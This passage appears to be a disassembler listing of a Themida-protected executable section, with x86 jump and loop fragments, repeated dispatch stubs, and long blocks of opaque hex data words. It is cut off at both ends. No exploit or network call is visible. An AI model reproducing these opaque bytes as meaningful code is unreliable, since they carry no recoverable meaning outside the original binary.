cx, [esi+6] movzx ecx, cx loc_5B1D82: ; CODE XREF: Themida_:005B1DADj cmp ecx, 0 jz loc_5B1DA1 cmp edi, [edx+0Ch] jg loc_5B1DA9 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5B1DA1: ; CODE XREF: Themida_:005B1D85j ; Themida_:005B1DB3j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5B1DA9: ; CODE XREF: Themida_:005B1D8Ej add edx, 28h dec ecx jnz loc_5B1D82 jmp loc_5B1DA1 ; --------------------------------------------------------------------------- loc_5B1DB8: ; CODE XREF: Themida_:005B1D62j mov edx, 9FD3Eh jmp short $+2 jmp loc_5B2457 ; --------------------------------------------------------------------------- jmp loc_5B2450 ; --------------------------------------------------------------------------- push 617435Dh jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174489h jmp loc_585C7C ; --------------------------------------------------------------------------- push 617451Fh jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174602h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174755h jmp loc_585C7C ; --------------------------------------------------------------------------- db 38h dd 16919508h, 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh dd 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h dd 55E7D0E8h, 75D286Bh, 6FD539C0h, 2040E85h, 0F09286B9h dd 0F43A4A53h, 0E588A7F2h, 585CEF48h, 73D753F0h, 79C8C54Fh dd 0BD53F058h, 960D3B42h, 0F058E457h, 191B7F53h, 0F058AC9Ch dd 0B6F76253h, 53F0589Bh, 0D004C618h, 0E266332Fh, 86B934FEh dd 7853F09Dh, 53F09DC6h, 0A4527108h, 74D0E8A5h, 56DC3850h dd 0F09DD867h, 335514D3h, 0E302BA78h, 9D162582h, 52ADD3F0h dd 0C9567A37h, 0ACDFC3BEh, 9D45F431h, 7ADED3F0h, 0CD9C0FB8h dd 4431C3BEh, 0C9DC98CAh, 667AEC64h, 949BBF51h, 24FA2EA1h dd 0AD670E36h, 53900355h, 5A560335h, 4A460536h, 305CCB4Fh dd 0CDD4575h, 0EB0F8683h, 0EEB357D0h, 3B44CFC8h, 0E266960Dh dd 0D5439FEh, 0FC6CE302h, 4B72Eh, 970A3A00h, 0BAF31493h dd 0A3DEE976h, 0CBC2C05Fh, 0F4A9D847h, 3181AB30h, 0C9B9F12h dd 0E58286FFh, 0FD6AAEE9h, 214CD0CBh, 0D1EE5DDAh, 2E6555E7h dd 216567EAh, 0F092B584h, 264ACE53h, 93AB9716h, 19A653F0h dd 0FAB1D3F2h, 7AC956C1h, 0F953F093h, 4CDB9F95h, 344B433Ah dd 2F5E6012h, 0C8D1491Fh, 5B35462h, 0FE4DEAE1h, 7553F008h dd 82DDED11h, 68FE0E83h, 409BFA38h, 69988731h, 54830434h dd 7483F53Dh, 0A1DCEE1Dh, 6A2BF15Dh, 0F94B8595h, 61000003h dd 0C2CD6567h, 732A58C7h, 0A3DBFF5Bh, 0F0923802h, 3E4D3C53h dd 0F09F9510h, 25586A99h, 0DA35B4E1h, 0B0F3E58Ah, 0DF48E0EFh dd 0BB3AF8B3h, 53F05988h, 505344Ch, 457566A4h, 79AF5DECh dd 0A0725D93h, 24FC0E40h, 8BF6DCD7h, 0FC085767h, 0E0E27D81h dd 5F2E9DADh, 34427A31h, 3B949535h, 0DA587C5Bh, 0B77B0DE2h dd 57671628h, 7E82FB08h, 2615920Dh, 0BD53F016h, 486C2122h dd 1674CBCAh, 375453F0h, 37D64E7Eh, 0A9ED4A41h, 4249DCF1h dd 0DF5E39FEh, 6766915h, 38B34h, 0A3DEEE00h, 0CEBFC05Fh dd 0F7B2DD4Ah, 1F96B433h, 7D8C1Bh, 0ED557FFCh, 0C05FA3DEh dd 0D946CAC3h, 0B12EF2ADh, 7D181C8Fh, 0D692A10Eh, 0E21155E7h dd 3665673Eh, 0AF477906h, 7ADEEE9Dh, 2C592656h, 0DC0A5A71h dd 0AE9D1AA2h, 2553F0EBh, 4846CF21h, 1A63171Dh, 53F0EDE3h dd 0F01C221Dh, 88050253h, 1C0E3170h, 57C253F0h, 0F01C7BD6h dd 2283F853h, 53F01C17h, 8E84A8ACh, 2B5AD736h, 1D017C8Dh dd 364569EDh, 0DCC749E9h, 0A166EA49h, 6915D0D0h, 0F56230A8h dd 78000002h, 56D15548h, 2BB47835h, 6A16520h, 1E898D08h dd 0ED6EB2EFh, 514C7BCBh, 783552CDh, 641F2BB4h, 960507A0h dd 1B84E792h, 55E7D728h, 8BA468ABh, 0AEDED7F4h, 1133E82Ah dd 0EB1A619Ah, 4B433E4Dh, 5D69ABCFh, 7D8D0002h, 9EAEE3E2h dd 0BFCFC2C1h, 0A7DF92A9h, 1A3DC166h, 99B5D43Bh, 7784FA1Eh dd 0ACDFE120h, 881ECC68h, 59B88595h, 74000002h, 0F09286B9h dd 0EFAAA653h, 0ED1A61DCh, 3D3C98B0h, 53F0920Eh, 0C7738185h dd 7D8A2C58h, 55770800h, 8EB21626h, 10D526Ah, 0EF407686h dd 0A4CB7490h, 2D88F1B7h, 0D337476Bh, 3453BA41h, 3D999D18h dd 859580EFh, 598Fh, 0FD8B2500h, 7FB881FCh, 53F0CACCh dd 282DC347h, 8D21F32Ah, 0B2F3087Ch, 49DC70BCh, 7CE5135h dd 0FF691666h, 212BD8Fh, 65650000h, 4879E62Ah, 3B56D155h dd 1F2DBA7Eh, 807A064h, 260A9195h, 0F83C7190h, 0E72B626Fh dd 0CD514C78h, 0B97D3052h, 71C06DDCh, 0F255E7D4h, 16955F41h dd 0F092A289h, 3E4D3153h, 92D762C3h, 0E86C53F0h, 52299A2Ah dd 0C898630h, 59752AE8h, 3B4DDA5Eh, 3FD04840h, 2E5AC549h dd 0E30AF73h, 95B65B6Dh, 0F01F3908h, 40D6BA53h, 375B31BAh dd 0B7D2A904h, 8C40F3FAh, 7FC353F0h, 0D2EAA3A0h, 7F00BC76h dd 0C728A952h, 71890400h, 237D0315h, 73CE6F9Ch, 0F053F058h dd 0C9A4688Ch, 58063572h, 0B99D53F0h, 0C3CFFB82h, 0F058D762h dd 0C4E86C53h, 0E6E17E4Eh, 551467ABh, 0C84C7C37h, 1F9C724Ah dd 783BBF2h, 36BE9D11h, 769AA54Dh, 840E3946h, 0F0E8281Bh dd 83A7AB53h, 0E80F3E7Fh, 39C853F0h, 0BECD3853h, 61E51590h dd 50F8A86h, 0DC0F7688h, 609BFF49h, 86B5E819h, 33BF8A2Bh dd 159655E4h, 64BC4082h, 0E72D1165h, 1A93B433h, 0C4719DE2h dd 3C86A2A3h, 0C9566512h, 55E4697Ah, 597195F9h, 7F8C0906h dd 68AAE3E0h, 337CEF5Ch, 55E46900h, 0A675BF83h, 66DEEEABh dd 6FDAF187h, 8CBCF110h, 8B8B0A08h, 0E44FC896h, 7EE29F60h dd 4EBE6301h, 0BF7Ch, 9F123200h, 82FB0C9Bh, 0ABE6E17Eh dd 0D3CAF867h, 0FCB1D04Fh, 2999B338h, 4A3671Ah, 1D8A8E07h dd 0F572B6F1h, 3954D8D3h, 0D5D665C2h, 266D55E7h, 366567E2h dd 0AF477906h, 75D1E9A4h, 6ECF3A51h, 53F092D3h, 8626EC50h dd 0BDCC2350h, 64FB108Bh, 4968D863h, 0EFEA38CBh, 0C157B3CBh dd 0AF133036h, 8C44CE09h, 94EAFA20h, 268485h, 0D2A90000h dd 0F34EEFB5h, 7053F0C0h, 74D0E80Ch, 0EEA7BFA2h, 93615E30h dd 9285B9A9h, 0A3A553F0h, 10F624E8h, 7C000000h, 0F09286B9h dd 12A4A653h, 783BBF6h, 0CFD51FE3h, 16E5FCh, 5ECD0000h dd 92F742E3h, 0ACA753F0h, 0AF4B9DF1h, 24648C54h, 0E953A1C5h dd 4346767h, 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 28B1681Fh dd 24890000h, 4BA5224h, 1000000h, 5A042454h, 5E08950h dd 4, 8704E883h, 895C2404h, 0B2682414h, 89000002h, 68572434h dd 7C63464h, 0DFBBA5Fh, 0FA01FE51h, 4EC815Fh, 89000000h dd 4832424h, 535E0424h, 8BBh, 0A0C38100h, 12C6813h, 0A0EB81F3h dd 892C6813h, 34FF5B13h, 0C4835E24h, 2434FF04h, 4C4835Ah dd 0FD3833E9h, 9DE8A0FFh, 88298EF6h ; --------------------------------------------------------------------------- loc_5B2450: ; CODE XREF: Themida_:005B1DC4j mov eax, 6174839h add eax, ebp loc_5B2457: ; CODE XREF: Themida_:005B1DBFj mov edx, ecx jmp loc_5B25A4 ; --------------------------------------------------------------------------- dw 4255h dd 0ECE758EDh, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h dd 38AEh, 6000h, 6400h, 2 dup(0) dd 400h, 9400h, 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h dd 63615020h, 32206Bh, 1Fh dup(0) ; --------------------------------------------------------------------------- loc_5B25A4: ; CODE XREF: Themida_:005B2459j jmp loc_5B461F ; --------------------------------------------------------------------------- push 6174C35h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174D24h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174E02h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174EBFh jmp loc_585C7C ; --------------------------------------------------------------------------- push 6174F9Ch jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175075h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175130h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175229h jmp loc_585C7C ; --------------------------------------------------------------------------- push 617561Eh jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175685h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175800h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175ABAh jmp loc_585C7C ; --------------------------------------------------------------------------- push 6175E4Ah jmp loc_585C7C ; --------------------------------------------------------------------------- push 61761D1h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6176331h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61763A9h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6176414h jmp loc_585C7C ; --------------------------------------------------------------------------- push 617647Bh jmp loc_585C7C ; --------------------------------------------------------------------------- push 6176607h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6176713h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61768F9h jmp loc_585C7C ; --------------------------------------------------------------------------- db 0B8h dd 96111588h, 6BF43875h, 46E12560h, 5EC94D48h, 2DAE722Fh dd 118CBB0Bh, 3875920Dh, 245F6BF4h, 564547E0h, 0DB44A7D2h dd 55E7D868h, 6764A8EBh, 79063665h, 0B0D05447h, 0A5102B51h dd 0DFEFAAA6h, 723CB97Bh, 0FB49DC63h, 7C66797h, 2755E483h dd 45B732Ah, 0DA7E8E07h, 0D10C167Dh, 4D93DF36h, 0A98BA899h dd 9B42F13Eh, 7DC155E4h, 4D34B7h, 80E00000h, 3869E961h dd 0D04B0B4Ah, 1E9FACh, 4149DC78h, 54720406h, 81A52159h dd 4E40FF89h, 41CF96E5h, 617CB5Dh, 0FB0BA224h, 0A6A5A4D7h dd 2A85D3EBh, 0FC2D9FFFh, 0E2C25074h, 0E445FC43h, 98FF1E55h dd 0A963945Ah, 0D9228Bh, 678E0000h, 79063665h, 0B427574Ah dd 161C97B5h, 24544779h, 1C96A8B7h, 84B4F1h, 0CD9AEC1Ch dd 0F4F0E84Bh, 48070D31h, 0FAC34736h, 53F0188Eh, 0AB6F1E20h dd 1B840A3Ch, 53F00128h, 8B83A7ABh, 7586F213h, 54DEDBF6h dd 6361F86Bh, 4FEBEA28h, 0E049DCE9h, 0AC196F9Ch, 0C16205CAh dd 0CBBB7FB5h, 0F03D4E3Ah, 4FCB709Fh, 83B64D7h, 205FDBF3h dd 0FA5E6E1Fh, 70708286h, 6160FF0Ch, 3F401F2Ch, 4DDA3E4Eh dd 0D1354540h, 0F9089743h, 307E8384h, 0AA0262FFh, 1D8398h dd 7F325200h, 621B2CBBh, 8B06019Eh, 0B3EA1887h, 0DCD1F06Fh dd 49F9D358h, 24C3473Ah, 3DAA6E27h, 15929611h, 1974B8F3h dd 0DE3605A2h, 64D55E7h, 0D4FD8B82h, 0FF8E4579h, 0F514CB49h dd 0D9EB74B8h, 80945EA2h, 47E01B61h, 49DC6CD7h, 48172428h dd 1588B93Bh, 228323F1h, 55E49C1Bh, 0FBF71EF9h, 8BA89A35h dd 0D4C9FA81h, 90CB06A7h, 0C44855E4h, 0B3BD4Eh, 0B2C20000h dd 0E2D429F1h, 3003AC05h, 0B355E44Eh, 0E769ABCFh, 6366567h dd 27574A79h, 0F0978A86h, 6B222453h, 970638A7h, 61EEFF67h dd 0F3082C5Fh, 0EE24616Ch, 0EA1B62DDh, 0D27461B3h, 6B49DC7Eh dd 826323E7h, 2658C5F6h, 2F4FCBEBh, 940102Bh, 9A153185h dd 0F8605F84h, 4F1E893Ah, 0C3304843h, 0DADDD762h, 0C4E86C5Fh dd 3F72914Eh, 205D6CFBh, 42E4DFh, 7E4CBC63h, 1C94h, 0C4484343h dd 0AF732A5Bh, 94981530h, 8286FD0Bh, 67ABE6E5h, 4342F0E4h dd 305DCA4Eh, 1A36B175h, 0FA0C9B9Fh, 0AF127F83h, 0E7DF330Eh dd 9903B055h, 0F1356867h, 0D5595476h, 3665671Fh, 0FD3A9506h dd 53F0924Eh, 1CB341C5h, 0C87BA4EAh, 4B53F092h, 2C5FA3C7h dd 0E09DAAB1h, 0DE6D6CE8h, 5553F092h, 8A82FF0Ah, 0A28EA0Eh dd 0E647B267h, 53F0926Bh, 16AE64E8h, 2D8A81F7h, 49DC6BD9h dd 8EDDEE52h, 700D0782h, 72050833h, 5226C719h, 1976FC39h dd 69FF8B7Eh, 0B636169Dh, 0E30EFB3h, 0C7EB6F9Fh, 0CABE4FB7h dd 3A0E46B1h, 0C4F389F7h, 0AD9C1932h, 269B46BFh, 8CE5D022h dd 0A7816A73h, 0FAD86BB4h, 0F75B9D3Ah, 9FA1B8D3h, 0C5328ECh dd 0D18E8401h, 4A3BFCAFh, 66A06029h, 1BB624F6h, 65650000h dd 4879E62Ah, 3B56D155h, 1F2DBA7Eh, 807A064h, 260A9195h dd 0F83C7190h, 0E72B626Fh, 0CD514C78h, 0B97D3052h, 71C06DDCh dd 0F255E7DCh, 65675F41h, 4F9E0636h, 0C1A50239h, 7A49DC96h dd 0E2791216h, 3793ABE6h, 96A89B04h, 272B55E4h, 78B047EDh dd 4FE8E369h, 4FC86F3Bh, 79FDFD8Bh, 32DD655Eh, 0BF4E80E0h dd 7327341h, 9C5FD8EAh, 0D78066B8h, 6C5AE936h, 75D95FD8h dd 461E2D51h, 88F6F75Fh, 2ADB5949h, 690DBB0Dh, 1F6D7C06h dd 0E0CB43ECh, 20249A05h, 2B51B028h, 0C47E9710h, 8DF19031h dd 0AEDDEF7Eh, 22CBFD6Ah, 63474864h, 59DEC2D4h, 8F28A472h dd 0F980920Ah, 0D800001Ah, 0B631F5A8h, 8B141895h, 66010580h dd 7EE92D68h, 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh, 47F8B14h dd 36656700h, 0FB2487F2h, 55E7DC48h, 670488CBh, 46053665h dd 0FBCB4944h, 7A016283h, 25145548h, 0BE53F092h, 3504A1DAh dd 4E53F092h, 895A6CAh, 49DC75CEh, 99A8F560h, 1A55E4B4h dd 8084FC36h, 3CEA9A7Ch, 3ACDFADh, 4FC84DF7h, 0E053DC4Fh dd 0C85FD8BCh, 4ECAC2BBh, 0E41C167Ah, 6366D9Bh, 0F26D9E82h dd 0D8BC86B5h, 0EE391D5Fh, 3397A7E2h, 0CA2704E1h, 313361F5h dd 1697A4D0h, 0E10C8800h, 65DDED51h, 5ADBF084h, 0E738AC35h dd 0AAE7E279h, 84FC3692h, 41188B80h, 1291BF40h, 9B3F4232h dd 0DCEEBD77h, 0B5D3AAA1h, 0C84ACEFEh, 3E6D9F08h, 30AC1CF9h dd 7644B4BAh, 1A1Ch, 4CD0CBFBh, 37FBB2D3h, 1CE09DA8h, 0A0E8583h dd 0EF336E9Dh, 0CBFA486Ch, 0B8D552D6h, 0A2AE39FDh, 828423E7h dd 176A070Bh, 0E7DDBB96h, 119B3855h, 0AC9F188Bh, 2753F092h dd 9258EB34h, 77DB53F0h, 0F80AC153h, 3054517Eh, 3B41A018h dd 4987A700h, 543849DCh, 4F922ED0h, 0D079E339h, 141E7A45h dd 3B41A0h, 2F330370h, 9DB46A21h, 6B54DE2Fh, 0C87AB8CAh dd 7CCDB14Fh, 1BDE6A3Fh, 0A7A3BA5Ch, 7F8E26ECh, 0F887F209h dd 69242FC9h, 0B9D1F551h, 50E6D75Dh, 8140B6A0h, 0D4FF8EBDh dd 0F86B5BD9h, 0E82A6561h, 0CFB535D4h, 0FBB6D53Ch, 9BD147C3h dd 5365A8Ch, 0A2FB7398h, 6398FC46h, 3E4DEF1Ch, 0AB2F5F43h dd 0FD0F5E69h, 0EB1D8A8Eh, 0B09C6FB0h, 0B4245997h, 1943E6h dd 0BFF21200h, 0A2DBEC7Bh, 0CBC6C15Eh, 0F3AAD847h, 1C91B02Fh dd 9B99318h, 0E48387FAh, 0FD6AAEE7h, 0D552D6D1h, 5934F8B3h dd 0C2F645E2h, 0C60D55E7h, 366567C2h, 394F9E06h, 6DA5A502h dd 81DE49DCh, 20E40883h, 608137FEh, 0F574E714h, 0D36ECFD3h dd 5055E482h, 54B0C8ECh, 7BABDFDEh, 0D8BC4FC8h, 4E5CD5A3h dd 848165EDh, 0CCBEFF8Eh, 9CB8122h, 275677F8h, 0CE9D0803h dd 4F4EC4C1h, 0D62DDEC7h, 0AC142428h, 0A11C2F5Dh, 0C5F5A8DAh dd 0E41489BAh, 0C7B67C60h, 0EFD9E2AEh, 0BFCEFD41h, 6BEF1F8Eh dd 3D4F1EA9h, 862C13BCh, 0CFF3CBB2h, 0F3AADC4Bh, 1170632Ch dd 9DAF1FC3h, 1888h, 0C0443757h, 0B3772627h, 989C1934h dd 868A010Fh, 73B7EA19h, 4F7EC4E8h, 3451CE52h, 1E2AB579h dd 0FE009F63h, 93EE8B8Fh, 0E7C32712h, 0AD17BC55h, 0C2CD6567h dd 67970E3Ch, 4BCFFFE3h, 5EAF1727h, 4294112Ah, 9B49DF28h dd 4B433A4Ch, 2590ABCFh, 3BBF2A2Fh, 2EE498A5h, 0D85C4F71h dd 44F730A3h, 0DF55E7E1h, 9D3CB97Bh, 5A55E7E0h, 900D3A8Fh dd 34F81C78h, 7495D447h, 44850139h, 55E7E1F5h, 53080A0Eh dd 3A417A31h, 7B52620Dh, 6812B9F9h, 5ED03444h, 0D79B17A8h dd 0F4BC76A0h, 0FC0F7D8Ch, 0D2CFFA81h, 0E7DDB88Bh, 0DD573B55h dd 671145E2h, 66EA4FC8h, 6463FA55h, 0CCFCB1D2h, 0B0142448h dd 1A9CAD62h, 0CB06A7EDh, 485FDE0Bh, 8FBCA0C4h, 42FDD1F9h dd 1F154144h, 0C2BBCC5Bh, 0F93B5CAh, 2C5C5170h, 8A92A1A8h dd 2D115FDEh, 7A470609h, 6FDF62FCh, 178F5Dh, 433E4E00h dd 6E1F20BFh, 97123DAAh, 0BFF61493h, 0A0DDEC7Bh, 4DF5DF5Ch dd 20BF433Eh, 39A66A23h, 118E920Dh, 1D78BCEFh, 0C03201AEh dd 2B155E7h, 1B61809Eh, 336E99E0h, 0D59C6E1h, 0C649DF28h dd 0C9ACFAB0h, 1251D5C0h, 7D9D377Dh, 8FBCA0C4h, 2724CEF0h dd 0D6FA5E6Eh, 0A9D73252h, 39B9CB92h, 0E0649407h, 0CA48CCFCh dd 0C691BCF9h, 361A55E7h, 0C69BA706h, 868755E7h, 6D98E717h dd 0A1EE1830h, 7AE5C04Ah, 0DD19C713h, 67A58BABh, 0CA000000h dd 8B02005Fh, 0E7DEF742h, 0A080C55h, 1F658000h, 92F443ECh dd 0B0F53F0h, 928BB2F3h, 326953F0h, 5EC96F22h, 3FF5E32Ch dd 0F3393950h, 83859542h, 32h, 8B1DC090h, 0A5687434h, 188BE56Fh dd 0F092AC9Fh, 0D0D12753h, 1CAC71B1h, 0D4C15377h, 53F0716Ah dd 0B2D15EAFh, 274BCFFFh, 726F8B14h, 0BC8049DCh, 6180BA78h dd 0F675E01Bh, 0D2ADDDD8h, 48CCFCB1h, 0EFEFEE24h, 49DC7Dh dd 51730C3Ch, 0D3EBA6A1h, 50CF5377h, 0A83842Eh, 597296F2h dd 0C7FBF60Bh, 0F233037Dh, 55E44747h, 0DE5478DCh, 3F7291EEh dd 85EC4B0Fh, 0C5494446h, 0E598B7B6h, 5F4E702Fh, 0D056B72Fh dd 0ACF4C35Dh, 0D2E90D73h, 0F6067D8Bh, 86278092h, 4FC8723Ch dd 8810A335h, 1D138ABCh, 0A0C4E485h, 0FDB8D4ABh, 1C91B2CDh dd 0CE4468ECh, 306B9D0Ah, 0E88B9918h, 2358D717h, 57C477B0h dd 0FB5FD7AEh, 0C3B5239h, 0F88883FAh, 3871EBC2h, 7939FBE4h dd 0A9A1DCEEh, 0CDFDB8D6h, 0E21A97B2h, 0B9CA6C9Dh, 2C50B4C4h dd 749B441Ch, 5A7E3955h, 90AFC635h, 80FB3F6Eh, 99F98AF0h dd 6DA79D7Ch, 0F9118CBEh, 0E3EF6081h, 26C37EBFh, 0FC40D7AEh dd 1487B4D8h, 4F7F3A55h, 0BA4C49CBh, 0B3CD82CEh, 5EEC5FD8h dd 0E367D982h, 351CCFFh, 3474FC57h, 55E4E536h, 0EED9828Dh dd 7FE8A86Ah, 572D5E4Dh, 38A2ADB1h, 13936130h, 35463F4Ch dd 0E6DA53Fh, 41D3DE82h, 0D3AA2165h, 0B3CCFCB7h, 3AF81C97h dd 70E33E55h, 821B0437h, 79BB9FD9h, 29EDA0A2h, 0DCEA8CBEh dd 158DBDA1h, 564D7BF4h, 8DBEA226h, 0CB06A712h, 48D9821Bh dd 779B123Fh, 0F7D630BDh, 0EB6FC3AEh, 37E89D0h, 0CD858F0Bh dd 4D7D3052h, 763651ECh, 5C4F71D3h, 7A31532Ch, 0EBE39EADh dd 9DA5CC93h, 0CEA2B2A9h, 93DFFD54h, 90E7848Eh, 0D85C4F71h dd 3048434Fh, 3D7A202Fh, 0F376360Eh, 6D9D8185h, 0D6F51CBBh dd 0AC3BFFBAh, 7BD6E5A0h, 76360F3Ah, 507B84F3h, 0BDA12555h dd 1A283777h, 0F3146B63h, 0CEFD82BAh, 7E3754D3h, 42A9364Eh dd 65890403h, 80BFD681h, 9A050984h, 0A31B336Eh, 2D5A2142h dd 0FDFC5870h, 0F376364Eh, 36162582h, 0A9ADF376h, 7D8AD5h dd 62C3F81Ch, 0E95AD964h, 681B99Dh, 8581C0D7h, 1A75060Ah dd 6A51AE9Dh, 27F8EF5h, 9348CA4Eh, 7A013A71h, 0A226564Bh dd 0F90B5450h, 0A31E8982h, 6A513702h, 81C84CF5h, 0F56A51B2h dd 0E7C74D31h, 5C6B8231h, 3AF732Ah, 2C2F4FDDh, 2BF9h, 6B673700h dd 0D4AB1830h, 8135FFB6h, 97A20360h, 2C53F092h, 0B6F70428h dd 49DC95F0h, 0C3191D61h, 19h, 47789D0h, 988290F4h, 18306B67h dd 3B41A0h, 0DC90EBA7h, 0F4381C49h, 0A1571E3Eh, 78073440h dd 0E1C2504Dh, 0DC6B3244h, 3447CB49h, 0E1B4C13Ch, 9B79AFE2h dd 0ABDD4A97h, 0E24322F0h, 61571957h, 4CFF38ABh, 6CA93701h dd 0EF53275Eh, 1E053DCh, 1F63A937h, 0CF40A115h, 95A6CAC1h dd 1BFD0208h, 0DFEF53B3h, 85B4F16Ch, 1E532B0Dh, 25C4F83Ah dd 0BBC92457h, 0F87E9D5Dh, 0DADB596Fh, 490718B5h, 0DAA1DABEh dd 0B631F5A8h, 61161994h, 21683B10h, 139AFBC9h, 49790000h dd 3455D256h, 1F2AB579h, 3019E62h, 0EC1B8488h, 0CAEE6DB1h dd 0CC504D7Ch, 0BB7F3653h, 0A165202Ch, 85890406h, 251491E8h dd 0BE55E7C4h, 8AB99315h, 4553F093h, 7ABBD0A4h, 49DC96F0h dd 67E61579h, 73EC306Bh, 0BF2C5C57h, 0D2EAA3A0h, 0DDEFBC76h dd 94CD7CB9h, 0C24655E4h, 8BAE59DEh, 0D6466916h, 1333C4h dd 0AFE2E200h, 0D2CBFC6Bh, 0FBB6D14Eh, 0E39AA837h, 0C81801Fh dd 19A98308h, 0F473B7EAh, 0CD5ADED7h, 0A542C6C1h, 4924E8A3h dd 0C486B5F2h, 0F61D55E7h, 9F188B32h, 53F092ACh, 0A9CD2327h dd 13588248h, 0AA3B7381h, 0E00ADDEh, 6749DC6Bh, 9398ABF4h dd 371B55E5h, 6061F813h, 4D7EE92Dh, 25273850h, 12C14676h dd 0C2BBCCFBh, 0CE81BBC9h, 0EF483E2Ah, 18B6D25h, 8F2F5D2Ch dd 9BFF0F7Eh, 0FD09BD77h, 0D0CBC786h, 2E1D5CB8h, 0A555E5F5h dd 0FF8EBDA1h, 6C2924CEh, 5ED4F85Ch, 0A2ADBCAFh, 84B4F11Ch dd 68EC1C00h, 0D9D4F5AAh, 0F3AADBA2h, 9B57FDBh, 0ED592F9Ah dd 2D284662h, 4641F0F9h, 7EC255E5h, 460539B4h, 2B1455E5h dd 1CDE3F5Dh, 9D81522Ah, 5452C43Ch, 600F0560h, 0D4C9FA09h dd 0C7B6D750h, 38BE4FB7h, 5208CAA9h, 281B84A6h, 0AB55E54Dh dd 6C9F83A7h, 0CAF7B7C3h, 4B36484Fh, 0ED2E6A9Dh, 59205B7Fh dd 0DBB07427h, 0C7F3F28Dh, 25EF1438h, 21595476h, 2F5C28B9h dd 0F254F18Eh, 17363545h, 0A414629Ah, 15E507A4h, 0FE0F183Ch dd 197D858Fh, 9B0477E2h, 41B46CA8h, 3EED272Bh, 0F7A910Ch dd 0B46C93AEh, 0E62C1041h, 1893B532h, 0F46978E0h, 0B46C98ABh dd 87201B41h, 41B46CB4h, 14274BCFh, 0B46DB88Bh, 33573B41h dd 0BCC79F18h, 4085B98h, 0D1626203h, 0BC8EFE56h, 11B8h dd 0F0346767h, 0E3275677h, 0C84C4944h, 0B67A315Fh, 0A3671A29h dd 7F8E3418h, 6461FE02h, 4E7AE529h, 2E50CF53h, 63DEBB7Fh dd 0E7CA77C2h, 5D478C55h, 0F09291B9h, 0E29DA953h, 87F26D1Eh dd 0F0922B26h, 0A5A4A853h, 53F09296h, 0D3EB292Dh, 0E8354632h dd 49DF2B03h, 4C13282Ch, 0AD2FB641h, 0BCC66786h, 545E9498h dd 86148086h, 4D9980D0h, 0C41363C8h, 144BD4Eh, 807B0000h dd 8B5B196Fh, 0F092102Ah, 0F57FD353h, 3C57A18Bh, 0C77192E9h dd 9FAFD3CAh, 0B3CBC2C0h, 0F0FD3357h, 462A599Dh, 80CD37FDh dd 76E11A6Eh, 95A5D8F7h, 92192831h, 963853F0h, 0EA003DB2h dd 11E3675Bh, 80442E2Fh, 9CE31864h, 0BE1A326Bh, 6349F274h dd 94809654h, 380088h, 80AC0000h, 0ABE6E16Eh, 188BCD87h dd 98B34341h, 0BA3BF91Dh, 53F09280h, 8B4F0509h, 92AC9F18h dd 232753F0h, 67C2D6D1h, 4AA3316Ch, 2E2A60h, 62F90000h dd 0BA1E2E63h, 6E80F678h, 2A8B581Ah, 53F09210h, 622F8DD3h dd 0DFB18E8Ch, 188B39BBh, 94B14541h, 41C5F519h, 6C6749B3h dd 604AA331h, 94809654h, 480088h, 80AC0000h, 95E31864h dd 0E503D4A6h, 74FE341Bh, 92102A8Bh, 86DE53F0h, 1B373E97h dd 0FDA8E60h, 65E9191Bh, 0DD811E56h, 0A5E17424h, 0A18BE56Fh dd 4376667h, 0C94B4645h, 95FD8B47h, 231686F0h, 0F13BC54Fh dd 332Ah, 64804000h, 2A8B5A18h, 53F09210h, 0E7D8FDEh, 0A7D9B604h dd 5C40C4F4h, 8C2F502Fh, 6C762F23h, 0F911358Ch, 8BAD979Dh dd 0D3F48BA1h, 828358DAh, 604A490Bh, 0FFFEAA2Ah, 618040FFh dd 0FF75E01Bh, 155C84F7h, 443F4D99h, 0B7E3D220h, 4849DFEAh dd 96A8B7C4h, 866323E7h, 0D564C1FAh, 6E55E899h, 1A61D2EAh dd 7461B3EEh, 55E899C7h, 0A1D9D4F3h, 0C7F7B2DEh, 75BDD483h dd 7486ED68h, 8BAC93A6h, 2130h, 86B9FC00h, 0A653F092h dd 6425E9A4h, 53F092DAh, 81BACE1Fh, 0DC480E24h, 5FA3A749h dd 0C58Dh, 61802B00h, 9290A30Ch, 2F1353F0h, 0CF85F00Bh dd 0C2F80CABh, 4718388h, 49DCEED6h, 49102B2Fh, 21BE423Dh dd 0EA526A25h, 0D15E6D1Bh, 4FCBE5BDh, 4EB9D2B6h, 0DC8452E1h dd 0A76DD15Fh, 0B5D2A904h, 2BB6C0F8h, 5AC8A3Fh, 845BD9FDh dd 9E090D88h, 45043772h, 